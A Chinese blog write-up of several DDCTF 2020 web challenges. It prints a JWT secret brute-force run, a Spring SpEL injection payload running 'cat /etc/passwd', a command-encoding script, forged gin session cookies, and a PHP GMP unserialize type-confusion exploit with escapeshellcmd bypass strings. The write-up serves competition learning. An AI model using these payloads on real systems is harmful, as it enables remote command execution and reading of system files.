前言

这比赛过了好久,这wp也放了好久了,随便记一下吧 这次比赛没拿到什么名次,但是抽奖倒是抽到了点东西(狗头)

Web签到题

题目链接:http://117.51.136.197/hint/1.txt

image-20200907171021852

访问http://117.51.136.197/admin/login

POSTusername=lz2y&pwd=passwd,得到一串数据

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6Imx6MnkiLCJwd2QiOiJwYXNzd2QiLCJ1c2VyUm9sZSI6IkdVRVNUIiwiZXhwIjoxNTk5NTU2MzYwfQ.vcvMjde1GSZrbEkOrIi1ceoEDChQe9g5y4Et2o0ZzyE

是jwt,去https://jwt.io/看一下

img

关于jwt伪造可看这篇博客

https://mazinahmed.net/blog/breaking-jwt/

尝试爆破,这里使用了上面博客的工具

 python3 jwt-cracker.py -jwt "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6Imx6MnkiLCJwd2QiOiJwYXNzd2QiLCJ1c2VyUm9sZSI6IkdVRVNUIiwiZXhwIjoxNTk5NTU2MzYwfQ.vcvMjde1GSZrbEkOrIi1ceoEDChQe9g5y4Et2o0ZzyE" -t 10 -w "./wordlist.txt"
[info] Loaded wordlist.
[info] starting brute-forcing.
[#] KEY FOUND: passwd

可以看到钥密就是passwd(一开始我以为自己运气好,输入就是他给的钥密,后来有师傅说他的钥密就是我们输入的…)幸好没用强密码

接下来就是生成jwt了

img

img

得到下载地址client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client

img

Go语言逆向后转为python(doge)

import sys
import hmac
import base64
from hashlib import sha256
import time,datetime
import requests

appsecret = "DDCTFWithYou".encode('utf-8')
timestr = str(time.time())[0:10]
cmd = sys.argv[1]
data = cmd+"|"+timestr
signature = base64.b64encode(hmac.new(appsecret,data,digestmod=sha256).digest())
data="{\"signature\":\"%s\",\"command\":\"%s\",\"timestamp\":%s}" % (signature,cmd,timestr)

conn=requests.post(url="http://117.51.136.197/server/command",data=data,headers={'Content-Type':'text/json'})
print conn.content

测试了一下,是SPRING的SSTI

// cat /etc/passwd 
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())

img

查找flag:cat /home/dc2-user/flag/flag.txt,手动转ASCII太麻烦,写个脚本

appsecret = "DDCTFWithYou".encode('utf-8')
timestr = str(time.time())[0:10]
tmp = sys.argv[1]
result = "T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32))"
# cat 
for i in tmp: 
    result = result + ".concat(T(java.lang.Character).toString(" + str(ord(i)) + "))"
# cmd = sys.argv[1]
cmd = result + ").getInputStream())"
#print cmd
data = cmd+"|"+timestr

img

卡片商店

题目链接:http://116.85.37.131/11b67e5088cef9b1c97bd5a30eb3b760/

直接换礼物或者向别人借足够的卡,会显示卡不足/借卡记录未还,时间过了还会提示超时…

看了师傅的wp才知道考的是数据溢出

向朋友借2^63-2个或者再少几个会溢出,2^63-2是刚刚好需要还0个,再少一点需要还的多一点,但是比起溢出的,我们还是够的

然后等他过一段时间就会还卡片,多出来的足够我们兑换礼物了

img

访问/flag,回显{"msg":"对不起,您不是幸运玩家!"},夹心饼干,应该是Cookie的问题(事后诸葛亮)

查看Cookie

MTU5OTU2NzIxNXxEdi1CQkFFQ180SUFBUkFCRUFBQV81M19nZ0FDQm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQVp6ZEhKcGJtY01DQUFHZDJGc2JHVjBCbk4wY21sdVp3eG1BR1I3SW05M2FXNW5jeUk2VzEwc0ltbHVkbVZ6ZEhNaU9sdGRMQ0p0YjI1bGVTSTZPVEl5TXpNM01qQXpNalUxT1Rnd09ETXhOeXdpYm05M1gzUnBiV1VpT2pFMU9UazFOamN5TVRRc0luTjBZWEowWDNScGJXVWlPakUxT1RrMU5qY3dOelI5fHn6yN9RsBZgPDMabvL_2ZQqCbMxI-zIEzKRs2CgxbEp

base64解码

1599567215|Dv-BBAEC_4IAARABEAAA_53_ggACBnN0cmluZwwHAAVhZG1pbgRib29sAgIAAAZzdHJpbmcMCAAGd2FsbGV0BnN0cmluZwxmAGR7Im93aW5ncyI6W10sImludmVzdHMiOltdLCJtb25leSI6OTIyMzM3MjAzMjU1OTgwODMxNywibm93X3RpbWUiOjE1OTk1NjcyMTQsInN0YXJ0X3RpbWUiOjE1OTk1NjcwNzR9|yQ`<3nٔ*    1#2`ű)

取中间的继续解码

img

听大佬博客说是jin-session,也是没接触过的,emmm…特意去装了个Go语言

// 伪造Cookie,secret为"Udc13VD5adM_c10nPxFu@v12"
package main

import (
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)

func main() {
   r := gin.Default()
   store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
   r.Use(sessions.Sessions("session", store))

   r.GET("/hello", func(c *gin.Context) {
       session := sessions.Default(c)
       if session.Get("admin") != true {
           session.Set("admin", true)
           session.Save()
       }

       c.JSON(200, gin.H{"admin": session.Get("admin")})
   })

   r.Run(":8000")
}

访问localhost:8000/hello得到Cookie

MTU5OTU2MTgyMXxEdi1CQkFFQ180SUFBUkFCRUFBQUhmLUNBQUVHYzNSeWFXNW5EQWNBQldGa2JXbHVCR0p2YjJ3Q0FnQUJ8kKRujALcgOnHb7vDlMuFXvPrskrcnhDo3iBfdD0KdM8=

替代/flag网页中的cookie,得到flag

img

Overwrite Me

进去得到源码

Welcome to DDCTF 2020, Have fun!

<?php
error_reporting(0);

class MyClass
{
    var $kw0ng;
    var $flag;

    public function __wakeup()
    {
        $this->kw0ng = 1;
    }

    public function get_flag()
    {
        return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
    }
}

class Prompter
{   
    protected  $hint;
    public function execute($value)
    {
        include($value);
    }

    public function __invoke()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
        {
            die("Don't Do That!");
        }
        $this->execute($this->hint);
    }
}

class Display
{
    public $contents;
    public $page;
    public function __construct($file='hint.php')
    {
        $this->contents = $file;
        echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
    }
    public function __toString()
    {
        return $this->contents();
    }

    public function __wakeup()
    {
        $this->page->contents = "POP me! I can give you some hints!";
        unset($this->page->cont);
    }
}

class Repeater
{
    private $cont;
    public $content;
    public function __construct()
    {
        $this->content = array();
    }

    public function __unset($key)
    {
        $func = $this->content;
        return $func();
    }
}

class Info
{
    function __construct()
    {
        eval('phpinfo();');
    }

}

$show = new Display();
$bullet = $_GET['bullet'];

if(!isset($bullet))
{
    highlight_file(__FILE__);
    die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
    $infos = new Info();
}else
{
    $obstacle = new stdClass;
    $mc = new MyClass();
    $mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
    @unserialize($bullet);
    echo $mc->get_flag();
}

Give Me Something!

直接访问/hint/hint.php

Good Job! You've got the preffix of the flag: DDCTF{VgQN6HXC2moDAq39And i'll give a hint, I have already installed the PHP GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead!

看提示应该是PHP GMP extension的问题,搜了一下,存在GMP类型混淆漏洞

看了几篇博客,还是没构造出可用payload(看了别人的wp,都是一样的博客,我就构造不出来,我还是太菜了…)

https://paper.seebug.org/1267/

https://hackerone.com/reports/198734

如果__wakeup设置的变量值为数值为mc(即MyClass)顺序实例化的值,就可以进行属性覆盖,这里题目第三个实例化了MyClass,所以得__wakeup设置的$this->kw0ng得为3才能覆盖mc,所以我们不能直接利用这里的__wakeup直接进行GMP类型混淆覆盖mc的值

因为php版本为5.6.10,所以是可以使用内置类的

<?php
$pos = "3";//第三个实例化
$inj = "-exec cat {} ;";
$inner = 's:1:"'.$pos.'";a:3:{s:4:"flag";s:'.strlen($inj).':"'.$inj.'";s:2:"hi";s:2:"aa";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';

DDCTF给出了不同的环境,有的是第三个实例化了MyClass,有的是第四个,修改的就是$pos的值,第几个实例化就是什么,$inner是需要覆盖的属性

而这里的$inj,就是flag字段的值,我们需要利用system('find /FlagNeverFall ' . escapeshellcmd($this->flag));,就得绕过这个escapeshellcmd

也可以用-iname sth -or -exec cat /etc/passwd ; -quit这样绕过,参考

https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md#find

真·签到题

公告里有flag

一起拼图吗

队友写的,还没细看

#-*- coding:utf-8 -*-
from PIL import Image
import os
import time
from PIL import ImageFile
ImageFile.LOAD_TRUNCATED_IMAGES = True
def get_filename(path,filetype):                                             #获取一个文件夹中一个类型的文件的文件名,返回文件名列表
    name = []
    for root,dirs,files in os.walk(path):
        for i in files:
            if filetype+' ' in i+' ': 
                name.append(i)    
    return name

def judge(image_0,image_1,x,y):                                              #判断大图和小图是否匹配
    bool=False
    for i in range(0,25):
        r0,g0,b0,t0 = image_0.getpixel((x+i*2,y))
        r1,g1,b1 = image_1.getpixel((i*2,0))
        if((((r0-r1)+(g0-g1)+(b0-b1))<6)and((r0-r1)+(g0-g1)+(b0-b1))>-6):    #设置容错
            bool_0 = True
        else:
            bool_0 = False
            break
    for i in range(0,25):
        r0,g0,b0,t0 = image_0.getpixel((x+i*2,y+26))
        r1,g1,b1 = image_1.getpixel((i*2,26))
        if((((r0-r1)+(g0-g1)+(b0-b1))<6)and((r0-r1)+(g0-g1)+(b0-b1))>-6):    #设置容错
            bool_1 = True
        else:
            bool_1 = False
            break
    return (bool_0 or bool_1)

image_0=Image.open("D:\\tools\\PNG_height_weith\\demo.png")                 #大图位置
name=get_filename("D:\\tools\\PNG_height_weith\\file_d0wnl0ad",".png")      #小图文件夹
count=0
ch=[]
for x_0 in range(0,80):
    x_1=x_0*51
    for y_0 in range(0,80):
        print("正在跑第"+str(x_1)+"列,第"+str(y_0+1)+"个位置,正在拼第"+str(count+1)+"/6400张")
        y_1 = y_0 * 27
        for n in name:
            image_1=Image.open("D:\\tools\\PNG_height_weith\\file_d0wnl0ad\\"+n)
            if(judge(image_0,image_1,x_1,y_1)):
                ch.append(n+":"+str(x_1)+":"+str(y_1))
                name.remove(n)
                count=count+1
                break
    time.sleep(5)
to_image = Image.new('RGB',(4080,2160))             #目的图
for i in ch:
    w1=i.split(':')
    to_image.paste(Image.open("D:\\tools\\PNG_height_weith\\file_d0wnl0ad\\"+w1[0]),(int(w1[1]),int(w1[2])))
to_image.save("D:\\tools\\PNG_height_weith\\final.png")                      #目的图位置

参考资料

  • https://www.anquanke.com/post/id/216694#h2-1
  • http://www.manongjc.com/detail/19-tlgkpcwgzijmjmj.html
说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...